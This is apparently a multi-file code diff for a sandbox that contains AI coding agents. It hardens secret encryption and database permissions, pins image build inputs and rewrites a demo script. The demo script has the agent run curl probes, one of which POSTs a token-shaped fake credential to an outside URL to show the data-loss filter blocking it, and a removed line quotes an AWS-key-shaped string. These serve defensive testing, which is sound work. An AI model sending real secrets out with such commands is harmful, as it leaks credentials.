@@ -12,9 +12,15 @@ reattachment path reads ENV_VAR_SECRET from the running agent container via
 ``POST /bottles/<id>/reprovision_gateway``; the orchestrator decrypts the
 stored rows and re-populates ``_tokens``.

-Encryption scheme: HMAC-SHA256 used as a PRF in CTR mode (stdlib-only,
-no external deps). Each value is encrypted independently. The output blob is
-``nonce (16 bytes) || ciphertext`` encoded as URL-safe base64 (no padding).
+Encryption scheme: encrypt-then-MAC using independent HMAC-SHA256-derived
+encryption and authentication subkeys (stdlib-only, no external deps). Each
+value is encrypted independently. New output blobs are:
+
+``version || nonce (16 bytes) || ciphertext || tag (32 bytes)``
+
+encoded as URL-safe base64 (no padding). Unversioned legacy ciphertext is
+rejected; the registry migration clears those rows rather than allowing blob
+contents to select an unauthenticated decoder.

    keystream_block_i = HMAC-SHA256(key, nonce || i.to_bytes(4, "big"))
    ciphertext_i      = plaintext_i XOR keystream_block_i[:len(plaintext_i)]
@@ -30,6 +36,8 @@ import secrets
 _KEY_BYTES = 32    # 256-bit key from ENV_VAR_SECRET
 _NONCE_BYTES = 16  # 128-bit random nonce per encrypt call
 _BLOCK = 32        # HMAC-SHA256 output width == one keystream block
+_TAG_BYTES = 32
+_VERSION = b"BBSE1"

 # Env-var name the agent container receives at startup.
 ENV_VAR_SECRET_NAME = "ENV_VAR_SECRET"
@@ -41,7 +49,13 @@ def new_env_var_secret() -> str:


 def _b64dec(s: str) -> bytes:
-    return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))
+    return base64.b64decode(
+        s + "=" * (-len(s) % 4), altchars=b"-_", validate=True,
+    )
+
+
+def _subkey(key: bytes, purpose: bytes) -> bytes:
+    return hmac.new(key, b"bot-bottle-secret-store:" + purpose, hashlib.sha256).digest()


 def _keystream(key: bytes, nonce: bytes, block_index: int) -> bytes:
@@ -53,37 +67,53 @@ def _keystream(key: bytes, nonce: bytes, block_index: int) -> bytes:
 def encrypt_value(secret_b64: str, plaintext: str) -> str:
    """Encrypt a single string value with *secret_b64* (the ENV_VAR_SECRET).

-    Returns a URL-safe base64 blob ``nonce || ciphertext`` suitable for
+    Returns a URL-safe base64 authenticated blob suitable for
    the ``bottled_agent_secrets.value`` column."""
    key = _b64dec(secret_b64)
+    encryption_key = _subkey(key, b"encryption")
+    authentication_key = _subkey(key, b"authentication")
    pt = plaintext.encode()
    nonce = secrets.token_bytes(_NONCE_BYTES)
    ct = bytearray()
    for i in range(0, len(pt), _BLOCK):
        chunk = pt[i : i + _BLOCK]
-        ks = _keystream(key, nonce, i)[: len(chunk)]
+        ks = _keystream(encryption_key, nonce, i // _BLOCK)[: len(chunk)]
        ct.extend(p ^ k for p, k in zip(chunk, ks))
-    return base64.urlsafe_b64encode(nonce + bytes(ct)).rstrip(b"=").decode()
+    authenticated = _VERSION + nonce + bytes(ct)
+    tag = hmac.new(authentication_key, authenticated, hashlib.sha256).digest()
+    return base64.urlsafe_b64encode(authenticated + tag).rstrip(b"=").decode()


 def decrypt_value(secret_b64: str, blob_b64: str) -> str:
    """Decrypt a blob produced by :func:`encrypt_value`.

    Returns the original plaintext string. Raises ``ValueError`` for malformed
-    input or a key mismatch (wrong key produces garbage, not an error, unless
-    the plaintext is non-UTF-8 — treat all such failures as wrong key)."""
+    input, authentication failure, or a key mismatch."""
    key = _b64dec(secret_b64)
    try:
        blob = _b64dec(blob_b64)
-    except Exception as exc:
+    except (ValueError, TypeError) as exc:
        raise ValueError(f"invalid ciphertext blob: {exc}") from exc
-    if len(blob) < _NONCE_BYTES:
+    if not blob.startswith(_VERSION):
+        raise ValueError("unsupported ciphertext format")
+    minimum = len(_VERSION) + _NONCE_BYTES + _TAG_BYTES
+    if len(blob) < minimum:
        raise ValueError("ciphertext blob too short")
-    nonce, ciphertext = blob[:_NONCE_BYTES], blob[_NONCE_BYTES:]
+    authenticated, supplied_tag = blob[:-_TAG_BYTES], blob[-_TAG_BYTES:]
+    authentication_key = _subkey(key, b"authentication")
+    expected_tag = hmac.new(
+        authentication_key, authenticated, hashlib.sha256,
+    ).digest()
+    if not hmac.compare_digest(supplied_tag, expected_tag):
+        raise ValueError("ciphertext authentication failed")
+    nonce_start = len(_VERSION)
+    nonce = blob[nonce_start : nonce_start + _NONCE_BYTES]
+    ciphertext = blob[nonce_start + _NONCE_BYTES : -_TAG_BYTES]
+    encryption_key = _subkey(key, b"encryption")
    pt = bytearray()
    for i in range(0, len(ciphertext), _BLOCK):
        chunk = ciphertext[i : i + _BLOCK]
-        ks = _keystream(key, nonce, i)[: len(chunk)]
+        ks = _keystream(encryption_key, nonce, i // _BLOCK)[: len(chunk)]
        pt.extend(c ^ k for c, k in zip(chunk, ks))
    try:
        return bytes(pt).decode()
@@ -91,4 +121,9 @@ def decrypt_value(secret_b64: str, blob_b64: str) -> str:
        raise ValueError(f"decryption produced non-UTF-8 output (wrong key?): {exc}") from exc


-__all__ = ["ENV_VAR_SECRET_NAME", "new_env_var_secret", "encrypt_value", "decrypt_value"]
+__all__ = [
+    "ENV_VAR_SECRET_NAME",
+    "new_env_var_secret",
+    "encrypt_value",
+    "decrypt_value",
+]
@@ -20,7 +20,9 @@ from __future__ import annotations

 import fcntl
 import hashlib
+import json
 import os
+import re
 import shutil
 import tempfile
 from pathlib import Path
@@ -37,9 +39,12 @@ _BUNDLED = _PKG / "_resources"                   # wheel-shipped copies
 # the two lists in sync (``test_resources`` guards that every entry exists).
 BUNDLED_RESOURCES: tuple[str, ...] = (
    "pyproject.toml",
+    "image-build-args.json",
    "Dockerfile.gateway",
    "Dockerfile.orchestrator",
    "Dockerfile.orchestrator.fc",
+    "requirements.gateway.lock",
+    "requirements.orchestrator.lock",
    "nix/firecracker-netpool.nix",
    "scripts/firecracker-netpool.sh",
 )
@@ -47,6 +52,12 @@ BUNDLED_RESOURCES: tuple[str, ...] = (
 # Present at a checkout root, never in a bare installed package — the cheap
 # tell for which layout we're in.
 _CHECKOUT_MARKER = "Dockerfile.gateway"
+_IMAGE_BUILD_ARGS_FILE = "image-build-args.json"
+_CENTRAL_BUILD_ARG_NAMES = frozenset({
+    "DOCKER_CLI_BASE_IMAGE",
+    "NODE_BASE_IMAGE",
+    "PYTHON_BASE_IMAGE",
+})


 class ResourceError(RuntimeError):
@@ -78,6 +89,69 @@ def dockerfile(name: str) -> Path:
    return build_root() / name


+def image_build_args(
+    dockerfile_path: str | Path,
+    *,
+    context: str | Path | None = None,
+) -> dict[str, str]:
+    """Return centralized arguments declared by ``dockerfile_path``.
+
+    Base-image arguments deliberately have no Dockerfile defaults. Their
+    digest-pinned values live in one repository input file and every supported
+    build path calls this helper before invoking its OCI builder. Explicit
+    caller-supplied arguments may still override this returned mapping.
+    """
+    path = Path(dockerfile_path)
+    if not path.is_absolute() and context is not None:
+        path = Path(context) / path
+    try:
+        text = path.read_text(encoding="utf-8")
+    except OSError:
+        # Generic callers and tests may build an ephemeral Dockerfile outside
+        # bot-bottle. The builder will report a genuinely missing file.
+        return {}
+    declared = set(re.findall(
+        r"(?m)^\s*ARG\s+([A-Za-z_][A-Za-z0-9_]*)\s*$",
+        text,
+    ))
+    wanted = declared & _CENTRAL_BUILD_ARG_NAMES
+    if not wanted:
+        return {}
+    # Generated Dockerfiles (notably the macOS nested-container layer) live in
+    # temporary build contexts. Resolve their declaration there, but take the
+    # centralized values from that context only when it carries its own input
+    # file; otherwise use bot-bottle's staged build root.
+    context_root = Path(context) if context is not None else None
+    root = (
+        context_root
+        if context_root is not None
+        and (context_root / _IMAGE_BUILD_ARGS_FILE).is_file()
+        else build_root()
+    )
+    inputs_path = root / _IMAGE_BUILD_ARGS_FILE
+    try:
+        inputs = json.loads(inputs_path.read_text(encoding="utf-8"))
+    except (OSError, json.JSONDecodeError) as exc:
+        raise ResourceError(
+            f"cannot read centralized image build arguments from {inputs_path}: {exc}"
+        ) from exc
+    if not isinstance(inputs, dict):
+        raise ResourceError(f"{inputs_path} must contain a JSON object")
+    missing = wanted - inputs.keys()
+    if missing:
+        raise ResourceError(
+            f"{inputs_path} lacks required image build arguments: "
+            f"{', '.join(sorted(missing))}"
+        )
+    invalid = [name for name in wanted if not isinstance(inputs[name], str)]
+    if invalid:
+        raise ResourceError(
+            f"{inputs_path} has non-string image build arguments: "
+            f"{', '.join(sorted(invalid))}"
+        )
+    return {name: inputs[name] for name in sorted(wanted)}
+
+
 def nix_netpool_module() -> Path:
    """Absolute path to the firecracker netpool NixOS module."""
    return build_root() / "nix" / "firecracker-netpool.nix"
@@ -2,7 +2,9 @@

 from __future__ import annotations

+import os
 import sqlite3
+import stat
 from contextlib import contextmanager
 from pathlib import Path

@@ -19,9 +21,62 @@ class DbStore:
    def __init__(self, db_path: Path, migrations: TableMigrations) -> None:
        self.db_path = db_path
        self._migrations = migrations
-        self.db_path.parent.mkdir(parents=True, exist_ok=True)
+        self._secure_parent()
+        if self.db_path.exists():
+            self._chmod()
+
+    def _secure_parent(self) -> None:
+        """Create and verify the private parent directory."""
+        parent = self.db_path.parent
+        parent.mkdir(mode=0o700, parents=True, exist_ok=True)
+        if parent.is_symlink():
+            raise PermissionError(f"database directory must not be a symlink: {parent}")
+        parent.chmod(0o700)
+        parent_stat = parent.lstat()
+        if not stat.S_ISDIR(parent_stat.st_mode):
+            raise PermissionError(f"database parent is not a directory: {parent}")
+        if stat.S_IMODE(parent_stat.st_mode) != 0o700:
+            raise PermissionError(f"database directory is not mode 0700: {parent}")
+
+    def _secure_db_file(self) -> None:
+        """Create the database without a permissive filesystem window.
+
+        SQLite otherwise creates a missing database using the process umask.
+        This store contains control-plane identity tokens, so both creation and
+        repair are fail-closed rather than best-effort.
+        """
+        flags = os.O_RDWR | os.O_CREAT | os.O_NOFOLLOW
+        fd = os.open(
+            self.db_path,
+            flags,
+            stat.S_IRUSR | stat.S_IWUSR,
+        )
+        try:
+            self._secure_open_file(fd)
+        finally:
+            os.close(fd)
+
+    def _chmod(self) -> None:
+        """Enforce and verify the private database mode after every write."""
+        fd = os.open(self.db_path, os.O_RDWR | os.O_NOFOLLOW)
+        try:
+            self._secure_open_file(fd)
+        finally:
+            os.close(fd)
+
+    def _secure_open_file(self, fd: int) -> None:
+        """Pin, validate, and secure an opened database filesystem object."""
+        file_stat = os.fstat(fd)
+        if not stat.S_ISREG(file_stat.st_mode):
+            raise PermissionError(
+                f"database must be a regular file: {self.db_path}"
+            )
+        os.fchmod(fd, stat.S_IRUSR | stat.S_IWUSR)
+        if stat.S_IMODE(os.fstat(fd).st_mode) != 0o600:
+            raise PermissionError(f"database is not mode 0600: {self.db_path}")

    def _connect(self) -> sqlite3.Connection:
+        self._secure_db_file()
        conn = sqlite3.connect(self.db_path)
        conn.row_factory = sqlite3.Row
        return conn
@@ -51,16 +106,9 @@ class DbStore:
        return version == len(self._migrations.migrations)

    def migrate(self) -> None:
-        """Apply any pending migrations and set permissions on the DB file."""
+        """Apply any pending migrations to the already-secured DB file."""
        with self._connection() as conn:
            self._migrations.apply(conn)
-        self._chmod()
-
-    def _chmod(self) -> None:
-        try:
-            self.db_path.chmod(0o600)
-        except OSError:
-            pass


 __all__ = ["DbStore", "DbVersionError"]
@@ -40,7 +40,7 @@ from .paths import (

 class ProvisioningError(RuntimeError):
    """A control-plane auth invariant would be violated (e.g. starting the
-    orchestrator without its signing key — which would run OPEN)."""
+    orchestrator without its signing key)."""


@dataclass(frozen=True)
@@ -67,9 +67,8 @@ class TrustDomain:

    def key_from_env(self, environ: Mapping[str, str] | None = None) -> str:
        """The signing key as the owning process sees it — read from `key_env`
-        (default `os.environ`). "" when unset; the caller decides whether that is
-        fatal (`ControlPlaneProvisioning`) or the open-mode fallback
-        (`OrchestratorServer`)."""
+        (default `os.environ`). ``""`` when unset; owning services reject that
+        value rather than start without authentication."""
        env = os.environ if environ is None else environ
        return env.get(self.key_env, "").strip()

@@ -3,6 +3,10 @@
 - **Status:** Accepted
 - **Date:** 2026-06-25
 - **Deciders:** didericis
+- **Revised:** 2026-07-27 — thresholds relaxed (critical minimum 90→85%,
+  diff-coverage gate 90→80%) to cut low-value test churn on changed lines.
+  The risk-weighting structure and the "global is informational" rule are
+  unchanged.

 ## Context

@@ -34,7 +38,7 @@ a regression (Goodhart's law).
 Coverage is **risk-weighted**, measured over the **combined unit +
 integration** suites, with three rules:

-1. **Critical modules must remain ≥ 90%.** The curated security/logic core
+1. **Critical modules must remain ≥ 85%.** The curated security/logic core
   covers the host and gateway egress policy, manifest trust boundary,
   git-gate enforcement, supervise protocol/server, YAML parser, and bottle
   state. The concrete module list lives in `scripts/critical-modules.txt`;
@@ -55,7 +59,7 @@ integration** suites, with three rules:

 The forward-looking guard is a **diff-coverage gate**
 (`scripts/diff_coverage.py`): new/changed executable lines on a branch
-must be ≥ 90% covered. This catches regressions where they are
+must be ≥ 80% covered. This catches regressions where they are
 introduced without forcing a back-fill crusade through legacy glue. The
 gate skips lines in omitted files (there is no coverage data for them),
 so the omit list cannot launder *new* logic into the dark: anything that
@@ -1,10 +1,11 @@
-# VHS tape — drives `./cli.py start demo` interactively and asks
+# VHS tape — drives `bot-bottle start demo` interactively and asks
 # claude (the AI) to run four probes via natural-language prompts.
-# Setup (manifest + dummy SSH key + image pre-warm) and teardown
-# happen outside the tape; record via `bash scripts/demo-record.sh`,
-# which wraps both and decimates dead time post-record.
+# Setup (demo bottle/agent + dummy SSH key + image pre-warm) and
+# teardown happen outside the tape; record via
+# `bash scripts/demo-record.sh`, which wraps both and decimates dead
+# time post-record.
 #
-# Re-record when the prompts, manifest, or cli.py preflight rendering
+# Re-record when the prompts, manifest, or preflight rendering
 # change. Claude's response time varies; the Sleeps below are sized
 # for typical bottle launch + tool-use latencies and can be tightened
 # if a recording consistently has slack.
@@ -16,63 +17,94 @@ Set FontSize   13
 Set Width      1180
 Set Height     780
 Set Padding    20
-Set Theme      "BirdsOfParadise"
+Set Theme      "iTerm2 Dark Background"
 Set TypingSpeed 40ms

 Hide
 Type "clear"
 Enter
+# Pin the backend off-camera so the visible command line stays the
+# plain thing a user would type, and so the recording doesn't follow
+# the host default (Firecracker on KVM Linux).
+Type "export BOT_BOTTLE_BACKEND=macos-container"
+Enter
+Type "clear"
+Enter
 Show

-# Real cli.py invocation — what a user with bot-bottle.json in cwd
-# would type. The bottle declares one allowlist (only baked-in
-# defaults), one git upstream (unreachable on purpose so gitleaks runs
-# before the gate would forward), and a FAKE_TOKEN env var shaped like
-# a GitHub PAT.
-Type "./cli.py start demo"
-Enter
-Sleep 8s
-
-# Confirm the y/N preflight. cli.py reads from /dev/tty.
-Type "y"
+# Real invocation. The bottle declares one allowlisted host, one git
+# upstream (unreachable on purpose so gitleaks runs before the gate
+# would forward), and a FAKE_TOKEN env var shaped like a GitHub PAT.
+#
+# --headless is what keeps this tape stable. The interactive path opens
+# four selectors in a row (bottle multiselect, name/color modal,
+# image-mode picker, y/N preflight); driving those blind is how an
+# earlier version of this tape silently recorded `command not found`
+# after the prompts changed underneath it. --headless skips all four,
+# and it keeps the operator's own bottle names out of the recording —
+# the multiselect lists every bottle in ~/.bot-bottle/bottles/.
+#
+# All four probes ride in on the single --prompt because --headless is
+# one-shot by construction: the claude provider implements it as
+# `claude -p <prompt>` (contrib/claude/agent_provider.py:351), print
+# mode, which answers and exits. There is no session left to type a
+# follow-up into — an earlier cut of this tape typed probes 2-4 into
+# the dead shell and recorded `bash: GET: command not found`.
+#
+# Note: no --cached-images. Setup does not pre-build, and launch
+# derives a per-bottle tag that would not be present anyway;
+# --cached-images is a hard failure when that tag is absent. The warm
+# layer cache makes the derived build fast regardless.
+#
+# The probes, in order: (1) a warm-up whose reply at all proves
+# api.anthropic.com survives the round trip — bumped TLS handshake, DLP
+# scan, forward; (2) a non-allowlisted host, refused by the gateway's
+# host filter; (3) an allowlisted host carrying a credential-shaped
+# body, where the host check passes and the egress scanner's DLP body
+# scan is the only thing left — that route sets outbound_on_match:
+# block, so it is an immediate 403 rather than the default `supervise`
+# hold-for-approval.
+#
+# Neither curl discards the body (no -o /dev/null). Without it both
+# probes render as a bare `403` and probe 3 is indistinguishable from
+# probe 2 — one take had the agent hedge "DLP or host-allowlist
+# rejection" because it genuinely could not tell which control fired.
+# The refusal text is the only thing that shows the host check passed
+# and the body scan is what refused.
+#
+# Keep apostrophes out of the --prompt text. The whole prompt is a
+# single-quoted shell word, so one apostrophe ends it early: a take
+# that said "the proxy's refusal text" died on
+# `bash: syntax error near unexpected token '('` before the bottle
+# ever started.
+#
+# There is deliberately no git/gitleaks probe. It used to be probe 4,
+# pushing an AKIA-shaped key to the git-gate to watch gitleaks reject
+# the ref in pre-receive. In the last recording gitleaks reported `no
+# leaks found` and the gate forwarded the push; it failed only because
+# `upstream.invalid` does not resolve. A GIF of that reads as "the gate
+# caught the secret" while showing the opposite, so the probe is out
+# until issue #541 settles whether that is a real detection gap.
+#
+# The probes are spelled as literal shell commands rather than English
+# because the agent's discretion is the single biggest source of
+# recording flake. One take had it substitute a placeholder
+# `ghp_FAKE...` for $FAKE_TOKEN, so the DLP scanner had nothing to
+# match and the control reported a clean pass it never earned.
+# $FAKE_TOKEN stays unexpanded here on purpose: the bottle's own shell
+# expands it inside the sandbox, which is what makes probe 3 a real
+# egress test.
+Type `bot-bottle start demo --headless --prompt 'Run these three commands with the Bash tool, exactly as written, and report each result in one line, quoting the refusal text returned by the proxy verbatim. Do not substitute placeholders for any value. (1) echo hello; (2) curl --proxy "$HTTPS_PROXY" -s -w " [%{http_code}]" http://example.com/; (3) curl --proxy "$HTTPS_PROXY" -s -w " [%{http_code}]" -d "token=$FAKE_TOKEN" http://example.org/dlp-probe'`
 Enter

-# Wait for the bottle to launch: networks created, pipelock + git-gate
-# companion containers started, agent container started, claude boots.
-Sleep 22s
+# Wait for the bottle to launch (networks, the gateway container with
+# egress proxy + git gate + supervise, the agent container, claude
+# booting) and then run all four probes to completion. Sized for four
+# tool-using turns; mpdecimate strips whatever dead time is left over.
+Sleep 110s

-# Probe 1 — warm-up. A reply at all proves api.anthropic.com is
-# reachable through pipelock end-to-end: bumped TLS handshake, DLP
-# scan, and forward all succeed.
-Type "hello there"
-Enter
-Sleep 10s
-
-# Probe 2 — non-allowlisted host. Pipelock's host filter refuses to
-# forward example.com; the agent runs curl via Bash and reports the
-# 403 it sees. The bottle prompt frames this as a proxy-behavior
-# probe so claude doesn't second-guess the request.
-Type "GET http://example.com via curl — what status does the proxy give back?"
-Enter
-Sleep 18s
-
-# Probe 3 — allowlisted host BUT a credential-shaped body. The
-# bottle's FAKE_TOKEN env var is a ghp_-prefixed synthetic. The host
-# check passes; pipelock's DLP body scanner has to catch it.
-Type `POST "token=$FAKE_TOKEN" to http://api.anthropic.com/dlp-probe via curl — what does the proxy do?`
-Enter
-Sleep 20s
-
-# Probe 4 — commit an AKIA-shaped key and push to the declared
-# upstream. The bottle's ~/.gitconfig rewrites the URL to the
-# git-gate via `insteadOf`, so the push lands at the gate, gitleaks
-# runs in pre-receive, and the ref is rejected before the gate
-# would forward upstream.
-Type "init /tmp/r, commit AKIAQRJHK7N5ZPM2VXTL to leak.txt, push to ssh://git@upstream.invalid/path.git main — does the gate let it through?"
-Enter
-Sleep 30s
-
-# Leave claude. The launcher tears down the container, companion containers, and
-# networks on session end.
+# Headless exits on its own once the prompt is answered; Ctrl+D just
+# closes the recording shell. The launcher tears down the container,
+# companion containers, and networks on session end.
 Ctrl+D
 Sleep 4s
@@ -0,0 +1,68 @@
+# Container image build inputs
+
+Bot-bottle's supported images are intended to rebuild from the same declared
+inputs on Linux amd64 and arm64. The repository enforces four layers of
+immutability:
+
+- Python, Node, and nested-container Docker CLI base images are required,
+  defaultless Docker build arguments.
+  Their version-qualified tags and multi-platform OCI index digests live
+  together in `image-build-args.json`; every supported builder reads that
+  file and passes only the arguments its Dockerfile declares.
+- Debian packages resolve from the same dated `snapshot.debian.org` archive in
+  every image that runs `apt-get install`. The snapshot endpoint uses HTTP so a
+  fresh image does not need a host-specific TLS interception CA; APT still
+  authenticates the repository metadata and package hashes with Debian's
+  signed Release files.
+- Gateway Python dependencies install from `requirements.gateway.lock` with
+  `pip --require-hashes`; provider npm packages install with `npm ci` from
+  committed lockfiles.
+- The Codex standalone archive is fetched from the exact `CODEX_VERSION`
+  release and checked against the committed upstream
+  `codex-package_SHA256SUMS` before extraction.
+  The standalone layout is retained because Codex remote control requires it.
+
+`Dockerfile.orchestrator.fc` is the one intentionally dynamic `FROM`. It has no
+default value: the Firecracker build coordinator resolves the freshly built
+orchestrator's local `sha256:` image ID, creates a local tag containing the
+complete ID, verifies that tag resolves to the same ID, and supplies the
+content-derived reference as `ORCHESTRATOR_BASE_IMAGE`. This accommodates
+BuildKit, which treats a bare image ID in `FROM` as a registry repository.
+
+## Refreshing inputs
+
+Make refreshes on a feature branch and review them like an application
+dependency update:
+
+1. For a Python or Node base update, select a version-qualified tag and update
+   its one digest-pinned value in `image-build-args.json`. Confirm the index
+   still contains `linux/amd64` and `linux/arm64`.
+2. For Debian packages, advance `DEBIAN_SNAPSHOT` to one fixed UTC timestamp in
+   every Dockerfile that uses apt. Do not use the moving Debian mirrors.
+3. Change direct Python versions in `requirements.gateway.in`, direct npm
+   versions in the provider's `package.json`, or `CODEX_VERSION` in the Codex
+   Dockerfile. Direct versions must be exact—no ranges, dist-tags, or
+   unversioned package names.
+4. Push the feature branch or manually run the `refresh-image-locks` workflow.
+   It regenerates the four derived files with the image's exact Python and Node
+   versions and uploads them as the `image-input-locks` artifact. It never
+   writes to the branch, so a refresh cannot race with developer pushes.
+5. Download the artifact, replace the four committed files, review the lock
+   diff, and let both normal CI and `image-input-builds` pass.
+   The latter checks both base architectures, builds every supported image,
+   exercises the exact local Firecracker base-ID handoff, and runs each
+   provider CLI's version smoke test.
+
+Run the fast policy check locally at any point:
+
+```sh
+python3 scripts/check_image_inputs.py
+```
+
+The check rejects mutable or `latest` bases, moving apt repositories,
+network-to-shell installers, unlocked npm/Pi installs, non-exact direct
+dependencies, missing npm integrity values, and unhashed gateway Python
+requirements.
+
+Image signing and attestation are tracked separately in issue #339; this policy
+covers deterministic and integrity-checked build inputs.
@@ -132,7 +132,7 @@ Each test runs against a temporary `$HOME` and a temporary `$CWD`:
  can revisit, but the v1 of this PRD is one file = one bottle.

 - **Hot-reload.** Changes to manifest files take effect at next
-  `./cli.py start`; we do not watch the directory.
+  `bot-bottle start`; we do not watch the directory.

 ## Scope

@@ -290,7 +290,7 @@ After this PRD:

 ### Cleanup CLI

-`./cli.py cleanup` switches from "list every container with prefix
+`bot-bottle cleanup` switches from "list every container with prefix
 `bot-bottle-` and every network with prefix `bot-bottle-net-`
 or `bot-bottle-egress-`" to:

@@ -369,7 +369,7 @@ Sized for one PR each, in order.
   `docker compose up -d` + attach + teardown. Per-sidecar `start()`/
   `stop()` lifecycle methods deleted in the same chunk. Compose-
   log dump on teardown added.
-4. **Cleanup CLI on compose.** Switch `./cli.py cleanup` to
+4. **Cleanup CLI on compose.** Switch `bot-bottle cleanup` to
   `docker compose ls`-based discovery; keep prefix-scan as
   fallback for one release.
 5. **Dashboard.** Decide on the discovery question (open question
@@ -37,7 +37,7 @@ Two rough edges in the current dashboard:
   shows only pending proposals. If no agent has called a tool,
   the screen reads "no pending proposals" — even when five
   bottles are quietly working. The operator has to `docker
-   compose ls` (or `./cli.py cleanup -n` to see the y/N preview)
+   compose ls` (or `bot-bottle cleanup -n` to see the y/N preview)
   to find out what's actually live.

 2. **`e` / `p` re-discover-and-disambiguate every invocation.**
@@ -82,12 +82,12 @@ the "operator wants to make an unprompted change" case.
  global across bottles. Filtering ("show me only this agent's
  proposals") might be a follow-up but isn't this PRD.
 - **Agent lifecycle from the dashboard.** Starting / stopping
-  agents stays in `./cli.py start` / `./cli.py cleanup`. The
+  agents stays in `bot-bottle start` / `bot-bottle cleanup`. The
  dashboard reads state; it doesn't change it.
 - **Preserved-but-not-running bottles.** The active-agents list
  is strictly "what's running now" (cross-referenced from
  `docker compose ls`). Preserved state dirs without a live
-  project don't appear — `./cli.py resume <identity>` is the
+  project don't appear — `bot-bottle resume <identity>` is the
  path for those.
 - **A separate per-agent detail view.** The agent rows are
  one-line summaries. Pressing Enter on a proposal still drops
@@ -125,7 +125,7 @@ the "operator wants to make an unprompted change" case.
 - Changes to proposal handling (`a` / `m` / `r` / Enter all
  unchanged).
 - Changes to the queue-dir / supervise sidecar protocol.
- New CLI surface beyond what's in `./cli.py dashboard`.
+- New CLI surface beyond what's in `bot-bottle dashboard`.
 - Touching the manifest, compose renderer, launch lifecycle.

 ## Proposed design
@@ -14,8 +14,8 @@
 Today the dashboard is read-only: it surfaces pending proposals
 and active agents (PRD 0019) but can't *start* an agent or
 *re-enter* one. The operator's path is split — they launch
-agents from one terminal (`./cli.py start <name>`), and watch
-them from another (`./cli.py dashboard`).
+agents from one terminal (`bot-bottle start <name>`), and watch
+them from another (`bot-bottle dashboard`).

 This PRD collapses that split. The dashboard becomes the
 operator's single surface: pressing a key opens an agent picker,
@@ -31,7 +31,7 @@ claude session AND the dashboard process. Exit claude → back to
 dashboard, bottle still running. Start another agent → two
 bottles up at once. Quit the dashboard → bottles continue
 running. Teardown is **always explicit**: the operator presses
-`x` on an agent, or runs `./cli.py cleanup` later.
+`x` on an agent, or runs `bot-bottle cleanup` later.

 ## Problem

@@ -45,7 +45,7 @@ Two real frictions today:
   open and the dashboard's "active agents" pane is hopelessly
   behind reality because they just spawned three in a row.

-2. **`./cli.py start` ties the bottle to a single claude
+2. **`bot-bottle start` ties the bottle to a single claude
   session.** The start command's `ExitStack` brings the bottle
   up, runs claude, and tears down on Ctrl-D — fine for a one-
   shot session, wrong for "let me bounce in and out of this
@@ -60,7 +60,7 @@ captures full-merged logs per bottle (PRD 0018). It already

 ## Goals / Success Criteria

-1. From inside `./cli.py dashboard`, pressing `n` (new) opens
+1. From inside `bot-bottle dashboard`, pressing `n` (new) opens
   an agent picker listing every agent defined in the manifest.
   Selecting one runs `prepare → preflight → launch`.
 2. The preflight Y/N summary renders cleanly — either as a
@@ -83,7 +83,7 @@ captures full-merged logs per bottle (PRD 0018). It already
   state cleanup) without quitting the dashboard.
 7. Quitting the dashboard (`q`) leaves every running bottle
   running. Bottle teardown is always explicit (per-bottle `x`
-   or `./cli.py cleanup`). The next `./cli.py dashboard`
+   or `bot-bottle cleanup`). The next `bot-bottle dashboard`
   invocation re-discovers them via `list_active_slugs()` and
   surfaces re-attach for any it can reconstruct context for
   (see "Cross-dashboard re-attach" below).
@@ -94,13 +94,13 @@ captures full-merged logs per bottle (PRD 0018). It already
  embedded-emulator option from the research doc is out of
  scope. The handoff (option 1) is the v1; option 2 is a
  separate PRD if and when handoff is observably insufficient.
- **Adopting bottles started by an out-of-dashboard `./cli.py
+- **Adopting bottles started by an out-of-dashboard `bot-bottle
  start` invocation.** Those have their own ExitStack-owner and
  the dashboard treats them as read-only-watch (already does
  today). Re-attach only applies to bottles the *current
  dashboard process* started.
 - **Resurrecting an out-of-process bottle into a new dashboard
-  with full re-attach.** A bottle started by `./cli.py start`
+  with full re-attach.** A bottle started by `bot-bottle start`
  in another terminal — or by a previous dashboard run, now
  exited — appears in the agents pane (already does, PRD 0019)
  and can be re-attached via `docker exec -it claude` because
@@ -109,12 +109,12 @@ captures full-merged logs per bottle (PRD 0018). It already
  context object to drive teardown — e.g., the
  ExitStack-tracked CA + state cleanup `_settle_state` performs
  today. Cross-dashboard re-attach uses the existing
-  `./cli.py cleanup` for teardown, not an `x` keypress (see
+  `bot-bottle cleanup` for teardown, not an `x` keypress (see
  open questions).
 - **Multi-window UI.** Single curses window, two existing
  panes (proposals + agents); the agent picker is a modal, not
  a third pane.
- **Removing `./cli.py start`.** Stays as the script-friendly /
+- **Removing `bot-bottle start`.** Stays as the script-friendly /
  legacy entry point. The dashboard is the new default.

 ## Scope
@@ -140,7 +140,7 @@ captures full-merged logs per bottle (PRD 0018). It already

 ### Out of scope

- Changes to `./cli.py start` itself. It keeps its current
+- Changes to `bot-bottle start` itself. It keeps its current
  shape; the dashboard reuses its internal pieces (backend.
  prepare / backend.launch) without reaching through the CLI
  layer.
@@ -157,7 +157,7 @@ captures full-merged logs per bottle (PRD 0018). It already
 Today's flow:

 ```
-./cli.py start agent
+bot-bottle start agent
  └─ with backend.launch(plan) as bottle:        ← bottle alive while inside `with`
       bottle.exec_agent([...], tty=True)       ← blocks until claude exits
     # context exits → compose down → state cleanup
@@ -166,7 +166,7 @@ Today's flow:
 The proposed dashboard-driven flow:

 ```
-./cli.py dashboard
+bot-bottle dashboard
  └─ bottles: dict[str, tuple[ContextManager, DockerBottle]] = {}

     # operator presses `n`, picks agent
@@ -205,7 +205,7 @@ Two shifts:
   evaluation, state-dir reap) doesn't fire on a quit-while-
   running bottle. It DOES fire when the operator explicitly
   stops via `x`, because that calls `cm.__exit__`. For
-   bottles a previous dashboard quit on, `./cli.py cleanup`
+   bottles a previous dashboard quit on, `bot-bottle cleanup`
   is the path — its compose-down + state-reap logic
   already covers the case.

@@ -213,7 +213,7 @@ Two shifts:

 When the dashboard discovers a bottle in `discover_active_agents`
 that it didn't itself start (a previous-dashboard or external
-`./cli.py start` bottle), Enter still attaches via `docker exec
+`bot-bottle start` bottle), Enter still attaches via `docker exec
 -it … claude` — the agent container is running `sleep infinity`
 exactly the same way regardless of who started it. The only
 thing the current dashboard lacks for those bottles is the
@@ -221,8 +221,8 @@ launch-context object needed to drive a clean teardown via
 `x`.

 For v1 we surface this honestly: pressing `x` on a non-owned
-agent shows a status hint pointing at `./cli.py cleanup` (or
-`./cli.py cleanup` targeted at the slug if we add that flag
+agent shows a status hint pointing at `bot-bottle cleanup` (or
+`bot-bottle cleanup` targeted at the slug if we add that flag
 later). The agent stays alive; the operator handles teardown
